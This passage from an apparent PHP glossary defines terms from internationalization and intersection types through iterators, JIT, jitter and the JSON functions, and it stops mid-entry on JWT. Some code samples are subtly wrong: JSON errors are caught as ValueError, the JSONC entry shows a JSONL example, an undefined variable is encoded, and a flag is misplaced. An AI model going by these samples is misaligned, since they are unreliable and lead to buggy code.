ast. - Three-address code or a control-flow graph, where a program is flattened into a sequence, or a graph, of simple instructions, each combining at most two operands into one result.
- Static single assignment (SSA) form, a discipline layered on top of a lower-level IR where every variable is assigned exactly once, which considerably simplifies data-flow analysis.
- A stack-based or register-based bytecode, meant to be executed by a virtual machine rather than further compiled to native code.
PHP’s own compiler follows this pipeline: source is parsed into an AST, and the AST is then compiled into PHP’s opcodes, a stack-of-frames, register-like bytecode that the Zend Engine’s virtual machine executes. PHP’s opcodes are, therefore, PHP’s intermediate representation: an internal detail invisible to ordinary code, surfaced only through tools such as vld or the opcode cache. When the JIT compiler is enabled, PHP further translates hot opcode sequences, going through an SSA-based internal form, into native machine code at run time.
See Also
Related
- Opcode
- Abstract Syntactic Tree (AST)
- Static Single Assignment Form (SSA)
- Control Flow Graph (CFG)
- Compiler
- Compile Time
- Just In Time (JIT)
- Code Generation
- Multi-pass Algorithm
Internals
In PHP, internals refers to everything under the hood of the language itself, not the code written with PHP.
Internals are the features written in C, C++ language and compiled with the engine; the Zend engine itself. It also refers to the contributors working on the core of PHP, as they are member of the internal mailing list.
See Also
Related
Internationalization
Internationalization, often discussed alongside localization or localisation, is the process of making the human interface of a program available in a local language.
PHP includes some internationalization capabilities, via the locale, for dates or money format, or with the ext/intl extension.
Most of the interface translations for an application are done with specific components, such as Symfony/translation. Translation of interface messages is part of this concept.
Internationalization is also called i18n, aka i, 18 letters and n. This is shorter to write. This word may be written with a z or an s, depending on the flavor of English being used.
<?php
/* Configure le script en hollandais */
setlocale(LC_ALL, 'nl_NL');
/* Affiche : vrijdag 22 december 1978 */
echo strftime('%A %e %B %Y', mktime(0, 0, 0, 12, 22, 1978));
?>
See Also
Related
Related packages
Internet
The internet is a global network of interconnected computers and devices that communicate using shared protocols.
It’s billions of devices, phones, servers, laptops, routers, etc. all linked together so they can send data to each other, anywhere in the world.
See Also
Related
Interoperability
Interoperability, sometimes misspelled interoperatibility, is the ability of distinct software components or systems to exchange information and work together effectively, without special adaptation effort.
In the PHP ecosystem, interoperability is promoted by PHP-FIG, the PHP Framework Interop Group, through PSR standards, which define common interfaces for loggers, the PSR-3, HTTP messages, the PSR-7, dependency injection containers, the PSR-11, caches, the PSR-6 and PSR-16, event dispatchers, the PSR-14, and HTTP handlers, the PSR-15.
Designing against interfaces rather than concrete implementations enables components from different libraries and frameworks to be composed freely. This is the foundation of the modern PHP package ecosystem.
Interoperability also extends beyond the PHP ecosystem itself: PHP natively handles many exchange formats, such as JSON, XML, YAML, CSV, and Protocol Buffers, which lets it talk to services and applications written in any other language. A PHP application can consume a JSON API served by a Node.js backend, exchange Protobuf messages with a Go microservice over gRPC, or parse a CSV export produced by a legacy system, without either side knowing what language the other is written in. The FFI extension pushes this further, allowing PHP to call C libraries directly, in process.
<?php
use Psr\Log\LoggerInterface;
// Any PSR-3 compliant logger may be injected
function process(LoggerInterface $logger): void {
$logger->info('Processing started');
}
?>
See Also
Related
- PHP Standards Recommendations (PSR)
- Interface
- Framework Interoperability Group (FIG)
- Dependency Injection
- Composition
- Decoupling
- Compatibility
- Clock
- Foreign Function Interface (FFI)
- JavaScript Object Notation (JSON)
- Extensible Markup Language (XML)
- YAML Ain’t Markup Language (YAML)
- Comma Separated Values (CSV)
- Protocol Buffers
- gRPC (Google Remote Procedure Call)
- Serialization
- Simple Object Access Protocol (SOAP)
Interpolation
Interpolation is the PHP feature that automatically replaces variables and public properties by their value in double-quoted strings and Heredoc syntax.
<?php
$string = "world";
echo "Hello $string";
// displays Hello world
?>
See Also
Related
Interpreted
An interpreted language is a programming language in which the source code is executed line by line by another program called an interpreter, rather than being converted directly into machine code by a compiler.
An interpreted language has no compile phase, and runs immediately. It gives it a shorter cycle to update the code and test it.
On the other hand, compiled languages take more time to review the code at compile time, and also add an optimisation phase: in the end, the result is often smaller and faster.
PHP is known to be an interpreted language. This is not strictly the case, as PHP make keep the code compiled in bytecode, or use JIT to compile the frequent code faster.
There are also tools to compile PHP directly to binary code for compiled execution.
See Also
- Can You Compile PHP Code Into a Binary-Like File to Run via Bytecode Interpreter? Explained
- Is PHP Compiled or Interpreted? The Truth About PHP Execution Explained
- Why do some developers compare PHP and NodeJS?
Related
Intersection Type
Intersection types, also called intersectional types, is a specification syntax where several types act together as a single type. The individual types are separated with the & operator.
The value typed with an intersection type must satisfy all the types at the same time.
Intersection types only accept class and interface types: scalars, int, string, bool, etc., null, false, true, and void are not allowed, as a single value cannot simultaneously be of two scalar types. Redundant types are also rejected: A&A is not valid.
Intersection types work well with polymorphism: an object that implements multiple interfaces satisfies an intersection type naturally.
PHP 8.2 introduced Disjunctive Normal Form, aka DNF, types, which combine intersection and union types, such as (A&B)|null.
<?php
class Elephpant {
// Property is of type Tusk, Ivory and Trunk at the same time.
// Two of them have to be interfaces.
private Tusk & Ivory & Trunk $property;
}
?>
See Also
Related
- Type System
- Composite Type
- Disjunctive Normal Form (DNF)
- Named Type
- Relative Types
- Property Type Declaration
- Union Type
- Interface
- Polymorphism
- Nullable
- Return Type
- TypeError
Internationalization Functions
The internationalization extension performs operations with locales. For example, it formats dates according to country and language configurations. The operations include, and are not limited to, formatting, transliteration, encoding conversion, calendar operations, » UCA-conformant collation, locating text boundaries and working with locale identifiers, timezones and graphemes.
This extension is closely linked to the ICU library.
<?php
$us = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $us->format(1234567).PHP_EOL;
//1,234,567
$zh = new NumberFormatter('zh_ZH', NumberFormatter::DECIMAL);
echo $zh->format(1234567).PHP_EOL;
//1,234,567
$fr = new NumberFormatter('fr_FR', NumberFormatter::DECIMAL);
echo $fr->format(1234567).PHP_EOL;
//1 234 567
?>
See Also
Related
Introspection
Introspection is the ability to examine the properties and behavior of objects, classes, and functions at runtime. It allows code to discover and inspect its own structure.
PHP provides many native introspection functions: get_class(), get_object_vars(), get_class_vars(), get_class_methods(), method_exists(), property_exists(), function_exists(), is_a(), instanceof, and others.
For deeper introspection, the Reflection API provides programmatic access to class hierarchies, method signatures, parameter types, and attributes.
<?php
class Dog {
public string $name = 'Rex';
public function bark(): void {}
}
$dog = new Dog();
var_dump(get_class($dog)); // string(3) "Dog"
var_dump(get_object_vars($dog)); // Array ( [name] => Rex )
var_dump(get_class_methods($dog)); // Array ( [0] => bark )
var_dump(method_exists($dog, 'bark')); // bool(true)
?>
See Also
Related
InvalidArgumentException
InvalidArgumentException is an Exception thrown when an argument is not of the expected type. It is a LogicException, and it may be thrown when using SPL classes.
<?php
function trumpet(string $a) {}
// OK
trumpet("abc");
// KO : invalid argument
trumpet(12);
?>
See Also
Related
Type Invariant
A type invariant is a data container whose type can’t change between a parent class and a child class. This is the case of properties.
The child type must be a subtype of the parent type and the parent type must be a subtype of the child type. This implies that the types are equal.
Invariance is the third type of variance, with contravariance and covariance.
<?php
class p {
protected string $p;
}
class q extends p {
// same a above
protected string $p;
}
?>
See Also
Related
Code Inventory
A code inventory is the collection of all elements of the same type, for categorized review.
For example, variable names, error messages, namespaces, regexes are all interesting inventories.
Inventories work best when the code practice is scattered: exceptions and regexes are usually created where and when needed, and are rarely considered as a common asset. That leads to repetition and deformations.
See Also
Related
Invoke
It is possible to invoke an object, that means calling a function built with the object as the function name.
Invocation is based on the __invoke magic method.
Being invokable, or invocable, means that an object may be used as a function name.
<?php
class elephpant {
function __invoke($a) {
echo 'I am '.$a;
}
}
$elephpant = new elephpant;
$elephpant('elephpant'); // I am elephpant
?>
See Also
Related
Internet of Things (IoT)
IoT, the Internet of Things, also called connected devices, refers to the network of physical devices, such as sensors, actuators, vehicles, appliances, industrial machines, etc., embedded with electronics and connectivity that enable them to collect and exchange data.
IoT systems generate continuous, high-volume event streams from many devices simultaneously. This data must be ingested, stored, processed, and acted upon in near real time. The backend architecture typically involves an MQTT or HTTP ingestion layer, a message queue or event stream, a time-series database, and a processing layer for anomaly detection, aggregation, and alerting.
PHP is not commonly used for IoT device firmware, which is typically C, Rust, or MicroPython, but it plays a role in IoT backend services: REST or MQTT APIs that receive device data, dashboards and reporting tools, and administrative interfaces for device management. Laravel, Symfony, and Slim are used for these backend roles.
IoT is an initialism, not a strict numeronym, but is often listed alongside numeronyms like i18n and k8s in software engineering contexts.
<?php
// PHP MQTT consumer: receive sensor readings from IoT devices
// Requires a MQTT client library (e.g., php-mqtt/client)
use PhpMqtt\Client\MqttClient;
$mqtt = new MqttClient('mqtt-broker.internal', 1883, 'php-backend');
$mqtt->connect();
$mqtt->subscribe('sensors/temperature/#', function (string $topic, string $message) {
$data = json_decode($message, true);
$deviceId = basename($topic);
// Store in time-series DB (InfluxDB example)
$this->influx->writePoint('temperature', [
'device' => $deviceId,
'value' => $data['value'],
]);
if ($data['value'] > 80.0) {
$this->alerting->trigger('High temperature on ' . $deviceId . ': ' . $data['value'] . '°C');
}
}, 0);
$mqtt->loop();
?>
See Also
Related
Related packages
Internet Protocol (IP)
IP often refers to Internet Protocol, which is a set of rules governing the format of data sent over the internet or other networks. IP addresses are unique numerical labels assigned to each device connected to a network, allowing them to communicate with each other.
PHP usually handles IP addresses as strings. It also has dedicated functions to manage them, in particular converting IPs to integer, with ip2long(), or solving them with DNS, with gethostbyaddr().
PHP also provides IP in its configuration, such as $_SERVER['SERVER_ADDR'], which is the IP of the current webserver.
IP also stands for intellectual property.
<?php
echo $_SERVER['SERVER_ADDR'];
?>
See Also
Related
- $_SERVER
- Domain Name System (DNS)
- Lightweight Directory Access Protocol (LDAP)
- User Datagram Protocol (UDP)
- OSI Model
Inter-Process Communication (IPC)
Inter-process communication, or IPC, is the set of mechanisms an operating system offers for two separate processes to exchange data or coordinate their work, since processes do not share memory with each other by default.
Common IPC mechanisms include pipes and named pipes, which stream bytes from one process to another; sockets, which work the same way across machines as within one; shared memory, where a block is mapped into several processes at once for fast access without copying; message queues, which store discrete messages for one or more readers to pick up; and semaphores, which coordinate access to a shared resource without transferring data themselves.
PHP scripts rarely need IPC directly, since most requests run as independent, short-lived processes with no data to share between them. Long-running PHP processes, workers spawned with the pcntl extension, or PHP code that talks to another service over a socket or a message queue, are the situations where IPC becomes directly relevant.
<?php
$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid = pcntl_fork();
if ($pid) {
// Parent process.
fclose($sockets[0]);
fwrite($sockets[1], 'ping');
echo fread($sockets[1], 1024);
fclose($sockets[1]);
} else {
// Child process.
fclose($sockets[1]);
echo fread($sockets[0], 1024);
fwrite($sockets[0], 'pong');
fclose($sockets[0]);
}
?>
See Also
Related
- Process Control (pcntl)
- Socket
- Process
- Thread
- Shared Memory
- Pipe
|, The Logical Operator - Message Queue
is_a()
is_a() is a PHP native function, that checks if an object is of a specific class.
Usually, is_a() is better replaced by instanceof, which is a PHP operator. The function might be needed to create a closure, though.
<?php
$object = (object) ['a' => 1];
var_dump(is_a($object, stdClass::class));
?>
See Also
Related
is_array()
is_array() is a PHP native function that checks whether a variable is of type array. It returns true if the value is an array, false otherwise.
This function is essential for type checking and validation before performing array operations. It is commonly used in:
- Input validation to ensure expected data structures
- Conditional logic before array manipulation functions
- Type-safe function implementations
- Preventing errors when working with mixed-type data
is_array() distinguishes arrays from other PHP data types, including objects, even if those objects implement ArrayAccess or IteratorAggregate interfaces. For checking whether a value is traversable or can be used in a foreach loop, consider is_iterable() instead.
<?php
$data = [1, 2, 3];
echo is_array($data) ? 'Array' : 'Not an array'; // Array
$string = 'hello';
echo is_array($string) ? 'Array' : 'Not an array'; // Not an array
// Validation before array operations
$input = json_decode('[1, 2, 3]', true);
if (is_array($input)) {
$result = array_map(fn($n) => $n * 2, $input);
print_r($result);
}
?>
See Also
Related
- Array, []
- is_object()
- is_string()
- is_int()
- is_bool()
- is_iterable()
- gettype()
- Type Checking
- ArrayAccess
- ArrayObject
- Validation
is_bool()
is_bool() is a PHP native function that checks whether a variable is of type bool. It returns true only for the literal values true and false.
is_bool() distinguishes true booleans from values that are merely truthy or falsy, such as 0, '', null, or 1, none of which are booleans themselves even though they may evaluate as such in a boolean context. This distinction matters when a function or API explicitly needs to know that a boolean, rather than any falsy or truthy value, was received.
It is commonly used in input validation, for instance when reading configuration values, decoded JSON, or user input, where the caller must confirm that a strict boolean was provided rather than a string like "true" or an integer like 1.
<?php
var_dump(is_bool(true)); // true
var_dump(is_bool(false)); // true
var_dump(is_bool(1)); // false
var_dump(is_bool('true')); // false
$config = json_decode('{"debug": true}', true);
if (is_bool($config['debug'])) {
echo 'Debug mode: ' . ($config['debug'] ? 'on' : 'off');
}
?>
See Also
Related
is_float()
is_float() is a PHP native function that checks whether a variable is of type float. It returns true if the value is a float, false otherwise. is_double() and is_real() are aliases of is_float().
is_float() returns false for integers, even a whole-number value like 4, and for numeric strings such as "4.0": only the actual internal float type qualifies. Because floats use binary representation, comparing them for exact equality is unreliable, so is_float() is generally used to branch on type before further processing, rather than as a stand-in for a numeric range check like is_numeric().
It is commonly used when validating decoded JSON or configuration values, where distinguishing a float from an integer or a numeric string affects how the value should be formatted or compared.
<?php
var_dump(is_float(4.0)); // true
var_dump(is_float(4)); // false
var_dump(is_float('4.0')); // false
$price = json_decode('19.99');
if (is_float($price)) {
echo number_format($price, 2);
}
?>
See Also
Related
- Floating Point Numbers
- is_int()
- is_numeric()
- is_string()
- is_bool()
- gettype()
- Type Checking
- Validation
is_int()
is_int() is a PHP native function that checks whether a variable is of type int. It returns true if the value is an integer, false otherwise. is_integer() and is_long() are aliases of is_int().
is_int() returns false for numeric strings, such as "42", and for floats, even when they hold a whole number like 4.0: only the actual internal int type qualifies. This makes is_int() stricter than a numeric check like is_numeric(), which also accepts numeric strings and floats.
It is commonly used to validate array keys, loop counters, or values decoded from external sources, such as JSON, where the distinction between an integer and a numeric string matters, for instance before using the value as an array offset or passing it to a strictly-typed function parameter.
<?php
var_dump(is_int(42)); // true
var_dump(is_int(4.0)); // false
var_dump(is_int('42')); // false
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if (is_int($id)) {
$user = find_user_by_id($id);
}
?>
See Also
Related
- is_array()
- is_bool()
- is_string()
- is_float()
- is_numeric()
- is_iterable()
- gettype()
- Type Checking
- Validation
is_iterable()
is_iterable() is a PHP native function, introduced in version 7.1, that checks whether a variable can be iterated over with foreach. It returns true if the value is either an array or an object implementing the Traversable interface, such as a Generator or an Iterator.
is_iterable() is the runtime counterpart of the iterable pseudo-type, which may be used in type declarations for parameters, return types, and properties. It is looser than is_array(), since it also accepts objects, but it does not accept plain objects that merely implement ArrayAccess without also being Traversable.
It is typically used to validate arguments of functions designed to accept both arrays and generators or iterators interchangeably, before looping over them with foreach.
<?php
function process(iterable $items): void {
foreach ($items as $item) {
echo $item . PHP_EOL;
}
}
var_dump(is_iterable([1, 2, 3])); // true
var_dump(is_iterable((function () { yield 1; })())); // true
var_dump(is_iterable('hello')); // false
var_dump(is_iterable(new ArrayObject([1]))); // true
?>
See Also
Related
is_numeric()
is_numeric() is a PHP native function that checks whether a variable is a number or a numeric string. It returns true for integers, floats, and strings that represent a valid number, such as "42", "3.14", " 1e10", or "0x1A" in older PHP versions; it returns false for non-numeric strings, null, arrays, and booleans.
is_numeric() is deliberately more permissive than is_int() or is_float(): it accepts leading whitespace, scientific notation, and numeric strings, which makes it well suited to validating raw input from $_GET, $_POST, or a CSV file, where numbers always arrive as strings. It does not, however, confirm the actual internal type, so code that also needs to know whether a value is already an int versus a numeric string should combine it with is_int() or a cast.
Since PHP 8.0, leading numeric strings that also contain trailing non-numeric characters, such as "123abc", are treated differently from earlier versions: is_numeric() still returns false for them, only fully numeric strings qualify.
<?php
var_dump(is_numeric(42)); // true
var_dump(is_numeric('42')); // true
var_dump(is_numeric('3.14')); // true
var_dump(is_numeric('12abc')); // false
$id = $_GET['id'] ?? '';
if (is_numeric($id)) {
$user = find_user_by_id((int) $id);
}
?>
See Also
Related
is_object()
is_object() is a PHP native function that checks if the content of a variable is an object or not, without consideration for the actual class. It is the equivalent of object type, which cannot be used with instanceof; or the (object) cast, that turns a value into an object of class stdClass.
is_object() is rarely used, as instanceof with the expected class or interface is more precise.
<?php
var_dump(is_object((object)[])); // true
$trunk = new stdClass();
var_dump(is_object($trunk)); // true
$trunk = 1;
var_dump(is_object($trunk)); // false
?>
See Also
Related
is_string()
is_string() is a PHP native function that checks whether a variable is of type string. It returns true if the value is a string, false otherwise.
is_string() does not perform any conversion: it only reports the actual internal type. A numeric string like "42" is a string, and is_string() returns true for it, even though is_numeric() also returns true for the same value. Objects implementing __toString() are not strings, even though they may be used anywhere a string is expected through implicit conversion.
It is frequently used in input validation, and in functions accepting mixed arguments that need to branch on whether a string, as opposed to an array, an object, or a number, was actually passed.
<?php
var_dump(is_string('hello')); // true
var_dump(is_string('42')); // true
var_dump(is_string(42)); // false
function greet(mixed $name): string {
if (!is_string($name)) {
throw new InvalidArgumentException('Name must be a string');
}
return 'Hello, ' . $name;
}
?>
See Also
Related
- is_array()
- is_bool()
- is_int()
- is_numeric()
- is_iterable()
- gettype()
- __toString() Method
- Type Checking
- Validation
Interface Segregation Principle (ISP)
The interface segregation principle, or ISP, states that no code should be forced to depend on methods it does not use. It is the I in the SOLID principles of object-oriented design, and it recommends splitting large, general-purpose interfaces into smaller, more specific ones, so that implementing classes only need to know about the methods that are actually relevant to them. Violating ISP typically shows up as fat interfaces, where implementers are forced to provide empty or throwing stubs for methods they don’t need, which increases coupling and makes the codebase harder to maintain and extend.
See Also
- SOLID Design Principles Explained: Interface Segregation with Code Examples
- How To Use Interface Segregation Principle in PHP/Laravel
Related
Isset
isset() is a function that determines if a variable is declared and is different than null.
isset() is also related to the magic method __isset(), which is used to determine if a property in an object exists or not.
isset() has an error suppression feature, that masks various errors, such as undefined offset or undefined variables. Some other errors, like an invalid type as offset, are still reported.
isset() may be compared to array_key_exists() to check if an index exists in an array. As a micro-optimisation, it is faster than the function.
<?php
$var = 'something';
if (isset($var)) {
echo 'The variable $var contains '.$var;
} else {
echo 'No such variable as $var';
}
?>
See Also
Related
Iterable
Iterable is a pseudo-type, which accepts any array or object implementing the Traversable interface. This is equivalent to the type array|Traversable, as one keyword.
<?php
function trumpet(iterable $iterable) {
foreach ($iterable as $value) {
// ...
}
}
?>
See Also
- Master PHP Iterables: Arrays, Objects, Traversable Interface
- PHP Iterators for walking through data structures – FastTips
Related
Iterator
An iterator is an object which can be traversed with a foreach() loop.
Iterator is an interface, which shall be implemented by objects. There are also a list of default iterators in the SPL extension.
An iterator may be turned into an array, with the iterator_to_array() function. Arrays may be used as iterator natively, or used as an object with the ArrayObject class.
<?php
class myIterator implements Iterator { /**/ }
$it = new myIterator;
foreach($it as $key => $value) {
var_dump($key, $value);
echo "\n";
}
?>
See Also
Related
- Standard PHP Library (SPL)
- Traversal
- foreach()
- ArrayObject
- DirectoryIterator
- iterator_to_array()
- PHP Native Interfaces
- RecursiveIterator
- IteratorAggregate
- OuterIterator
- RecursiveArrayIterator
- RecursiveDirectoryIterator
- SeekableIterator
- SplDoublyLinkedList
- SplFileObject
- SplObjectStorage
iterator_to_array()
iterator_to_array() converts Iterators and Generators into an array. The iterator is entirely run, and each yielded value is stored in the resulting array.
While iterators play a similar role to arrays, they are not typed the same way. Sometimes, it might be necessary to pass an array rather than the iterator to a method.
iterator_to_array() may use a lot of memory: iterators often save memory by emitting values one by one, instead of creating them before running some more code. Here, iterator_to_array() runs the iterator and creates the values before the next step.
iterator_to_array() attempts to run infinite generators, until PHP runs out of memory.
<?php
function trumpet(): Generator {
yield 1;
yield 2;
yield 3;
}
print_r(iterator_to_array(trumpet()));
?>
See Also
Related
IteratorAggregate
IteratorAggregate is an interface to create a custom iterator.
It requires a single method, that returns an iterator that will be used with PHP native functions.
It also suggest that several iterators may be merged in one, by creating a class that merges them.
<?php
declare(strict_types=1);
class MergedIteratorAggregate implements IteratorAggregate
{
/** @var iterable[] */
private array $iterables = [];
public function addIterable(iterable $iterable): void
{
$this->iterables[] = $iterable;
}
public function getIterator(): Traversable
{
foreach ($this->iterables as $iterable) {
// yield from works with arrays AND Traversable objects
yield from $iterable;
}
}
}
$aggregate = new MergedIteratorAggregate();
function diceRoll() {
yield rand(0, 10);
}
// Using iterator with generators
$aggregate->addIterable(diceRoll());
$aggregate->addIterable(diceRoll());
foreach($aggregate as $value) {
print $value.PHP_EOL;
}
?>
See Also
Related
- Interface
- Iterator
- Traversable
- foreach()
- Standard PHP Library (SPL)
- OuterIterator
- PHP Native Interfaces
Javascript
JavaScript is a programming language primarily used to make websites interactive. It runs mainly in the browser, on the client side, allowing things like form validation before submitting, dynamic page updates without reloading, animations and UI interactions, fetching data asynchronously.
PHP interacts with JavaScript to serve it, or produce specific datasets.
It can also run on the server side using environments like Node.js.
See Also
Related
Just In Time (JIT)
Just-In-Time compilation is a technique used in computer science and programming languages to improve the runtime performance of code execution.
In traditional interpretation of programming languages like PHP, code is executed line by line by an interpreter. This can lead to some performance bottlenecks, especially for code that is executed frequently or for applications that require high throughput.
With Just-In-Time compilation, the code is not interpreted line by line. Instead, it’s analyzed and compiled into machine code just before it’s executed. This compiled code is then stored in memory and can be executed much more efficiently than interpreted code. This approach can significantly improve the performance of a programming language.
See Also
- Exploring the New PHP JIT Compiler
- PHP 8.4 JIT Under the Microscope: Benchmarking Real Symfony 7.4 Applications (Part 1)
- How PHP generates machine code
Related
- Ahead Of Time
- Compile
- Opcache
- Bottleneck
- Interpreted
- Monomorphization
- Static Single Assignment Form (SSA)
- PHP Engine
- Compile-time Evaluation
- Compiler
- Memory Arena
- OPcache Preloading
Jitter
Jitter is a small random variation added to a computed delay, most often the delay between retry attempts, so that independent clients do not all wake up and act at exactly the same instant.
Without jitter, every client that failed at the same moment, for example right after a dependency restarted or a deploy finished, recomputes the same exponential backoff delay and retries in lockstep, producing repeated bursts of load known as a thundering herd or retry storm; each burst can itself trigger new failures, which are then retried in a new burst, and so on. Adding randomness spreads those retries out over time and decorrelates the clients from one another.
Several jitter strategies exist, trading off predictability for effectiveness at spreading load: full jitter picks the delay as a random value between 0 and the full computed backoff, for example rand(0, base * 2 ** attempt), which is simple and effective at breaking synchronization, at the cost of some retries firing sooner than the backoff alone would suggest; equal jitter keeps half of the computed backoff fixed and randomizes only the other half, guaranteeing a minimum delay while still adding randomness; and decorrelated jitter randomizes each delay based on the previous delay rather than solely on the attempt count, further reducing correlation across many retrying clients.
Jitter is typically added by hand around usleep() or sleep() calls, using random_int() for the random component, or provided by retry libraries and by Guzzle/Laravel retry middleware that accept a delay callback.
<?php
// Full jitter: sleep = rand(0, base * 2^attempt)
function jitteredDelayMs(int $attempt, int $baseMs = 250): int {
return random_int(0, $baseMs * (2 ** $attempt));
}
usleep(jitteredDelayMs($attempt) * 1000);
?>
See Also
Related
Related packages
Jobqueue
A job queue is a concept that refers to a system or data structure used to manage and schedule the execution of various tasks or jobs in a sequential or parallel manner.
Job queues are commonly used in scenarios where there is a need to process multiple tasks asynchronously, ensuring that tasks are executed efficiently and in an organized manner.
A job queue may organize the tasks in different way: by priority, by type, by sequence, by estimated load, by available worker, etc.
See Also
Related
JPEG
JPEG, the Joint Photographic Experts Group, is a lossy image compression format widely used for photographs and complex images. It is identified by the file extensions .jpg and .jpeg.
JPEG compression reduces file size by discarding some image data, making it suitable for photographs but less ideal for images with sharp edges or text.
PHP’s GD extension handles JPEG images with functions such as imagecreatefromjpeg(), imagejpeg(), and imagecolorat(). imagejpeg() accepts an optional quality parameter from 0 to 100.
<?php
$image = imagecreatefromjpeg('input.jpg');
// Resize or manipulate...
imagejpeg($image, 'output.jpg', 85); // Save at quality 85
imagedestroy($image);
?>
See Also
Related
JSON-LD
JSON-LD, short for JSON for Linking Data, is a W3C standard serialization format for RDF: it lets ordinary JSON, the format most PHP applications already produce and consume, carry linked-data meaning by adding a small number of reserved keywords, most notably @context, which maps the document’s plain property names to globally unique URIs, and @id and @type, which identify a resource and its class. Because a JSON-LD document is still syntactically valid JSON, it can be parsed with json_decode() like any other payload, while tools built for linked data can additionally interpret it as a graph of RDF triples, expand or compact it against different contexts, or convert it to other RDF serializations such as Turtle or N-Quads. The lanthaler/JsonLD library provides a fully conforming JSON-LD processor implementing the official expansion, compaction, flattening, and framing algorithms, plus an object-oriented API for building and querying documents programmatically, and it is commonly paired with libraries like EasyRdf when a full RDF toolchain is needed. Its most common real-world use in web applications is embedding structured data inside a <script type="application/ld+json"> tag so that search engines and other crawlers can understand a page’s content, such as a product, an article, or an event, without needing to parse the visible HTML.
<?php
$document = (object) [
'@context' => 'https://schema.org',
'@type' => 'Article',
'headline' => 'Understanding JSON-LD',
'author' => (object) ['@type' => 'Person', 'name' => 'Ada Lovelace'],
];
echo json_encode($document, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
?>
See Also
Related
Related packages
JavaScript Object Notation (JSON)
JSON, or JavaScript Object Notation, is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language Standard ECMA-262 3rd Edition - December 1999.
<?php
$array = ['a' => 1, 'b' => "c", 'c' => [3, 4], 'd' => new stdclass()];
echo json_encode($arr);
// displays {\a\:1,\b\:\c\,\c\:[3,4],\d\:{}}
?>
See Also
- JSON home
- Working with JSON data in PHP and MySQL: storing and retrieving complex structures
- An In-depth Comparison of JSON, YAML, and TOML
Related
- Comma Separated Values (CSV)
- json_decode()
- JsonSerializable
- Serde
- JSON Lines (JSONC)
- JSON Lines (JSONL)
- YAML Ain’t Markup Language (YAML)
- Tom’s Obvious Minimal Language (TOML)
- Text
- Format
- json_encode()
- JsonException
- Parquet
- INI
- PostgreSQL
- Progressive Web App
- Schema
- AJAX
- Document Database
- JSON Web Token (JWT)
- Template
- Multidimensional Array
- Comma
- MongoDB
- Payload
- Protocol Buffers
- JSON-LD
- composer\.json
- Content-Type Header
- Interoperability
- Malformed Response Body
Related packages
json_decode()
json_decode() decodes a JSON string into a data structure.
In case an error arise during parsing, a null value is returned, as the default value. This error may be confused with the decoding of the 'null' string, which is a valid JSON value. It may also raise a ValueError, when the function is configured by JSON_THROW_ON_ERROR.
<?php
$json = '[1,2,3]';
try {
$variable = json_decode($json, flags: JSON_THROW_ON_ERROR);
} catch(ValueError $e) {
print "JSON decoding error";
}
// $variable === [1,2,3];
?>
See Also
Related
- JavaScript Object Notation (JSON)
- json_encode()
- Null
- Strpos() Syndrome
- ValueError
- JSON Lines (JSONC)
- JSON Lines (JSONL)
- Parquet
- JSON-LD
- Open Data
- parse_ini_file()
- parse_ini_string()
json_encode()
json_encode() encodes a data structure into a JSON string.
In case an error arise during parsing, a null value is returned, as the default value. This error may be confused with the decoding of the 'null' string, which is a valid JSON value. It may also raise a ValueError, when the function is configured by JSON_THROW_ON_ERROR.
<?php
$data = [1,2,3];
try {
$json = json_encode($data);
} catch(ValueError $e) {
print "JSON encoding error";
}
// $json === '[1,2,3]';
?>
See Also
Related
JSON Lines (JSONC)
JSONC, aka SON with Comments, is a superset of JSON that extends its functionality by allowing single-line // and multi-line /* */ comments.
This feature is commonly used in configuration files to improve readability, enabling developers to annotate data directly within the JSON structure.
Unlike standard JSON, which does not support comments, JSONC retains full compatibility with valid JSON. However, the reverse is not true: not all JSONC files are valid JSON.
<?php
$JSONL = <<<JSONL
{a:1}
{b:2}
JSONL;
foreach(explode(\n, $JSONL) as $line) {
print_r(json_decode($line));
}
/**
stdClass Object
(
[a] => 1
)
stdClass Object
(
[b] => 2
)
*/
?>
See Also
Related
JsonException
Exception thrown if JSON_THROW_ON_ERROR option is set for json_encode() or json_decode(). code contains the error type, for possible values see json_last_error().
<?php
try {
$data = json_decode($incomingJSON, JSON_THROW_ON_ERROR);
return base64_encode($data);
} catch (JsonException $e) {
print 'Could not decrypt the data.';
}
?>
See Also
Related
JSON Lines (JSONL)
JSONL, JSON Lines, is a text-based format where each line is a valid, independent JSON object, separated by newline characters.
It is ideal for storing structured data, large datasets, and logging, as it allows for streaming and processing files line-by-line without loading the entire file into memory. It is also known as newline-delimited JSON, NDJSON.
<?php
$JSONL = <<<JSONL
{a:1}
{b:2}
JSONL;
foreach(explode(\n, $JSONL) as $line) {
print_r(json_decode($line));
}
/**
stdClass Object
(
[a] => 1
)
stdClass Object
(
[b] => 2
)
*/
?>
See Also
Related
JsonSerializable
The JsonSerializable interface is used to customize how an object is serialized into JSON using json_encode().
JsonSerializable simplifies the conversion to JSON by introducing a method to prepare the data. These data may be based on the properties of the object, but they may also change these names, create virtual and hide existing properties; the values may also be formatted to fit any specification.
There is no reverse method, where a JSON representation is converted into an object. It has to be done in a custom method.
<?php
class Point implements JsonSerializable {
public function __construct(
private int $x,
private int $y,
) {
}
public function jsonSerialize(): mixed {
return [
'latitude' => $this->x,
'longitude' => $this->y
];
}
}
$point = new Point(10, 20);
echo json_encode($point); // {latitude:10,longitude:20}
?>
See Also
- How to Use the JsonSerializable Interface
- The Problem with JsonSerializable and Doctrine when using Symfony
Related
Jump
A jump typically refers to any non-linear control flow, where the program skips from one part of the code to another. In fact, it is bypassing the normal sequential execution.
There are a few constructs that qualify as jumps: goto, break, continue, yield, yield from, throw, return.
<?php
function trumpet(int $a) {
// jumps out of the method
if ($a > 10) { return; }
foreach(range(1, 10) as $i) {
if (doSomething($i, $a)) {
// jumps out of the loop
break 1;
}
}
// normal execution
return $a + 1;
}
?>
See Also
Related
JSON Web Token (JWT)
A JSON Web Token, JWT, is a compact, URL-safe token format defined in RFC 7519, used to securely transmit claims between parties as a JSON object. JWTs are widely used for stateless authentication and authorisation in web APIs.
A JWT consists of three Base64URL-encoded parts separated by dots:
- Header: the token type and signing algorithm, e.g.
HS256,RS256, … - Payload: the data. It is often an arbitrary JSON structure with fields, plus registered properties such as
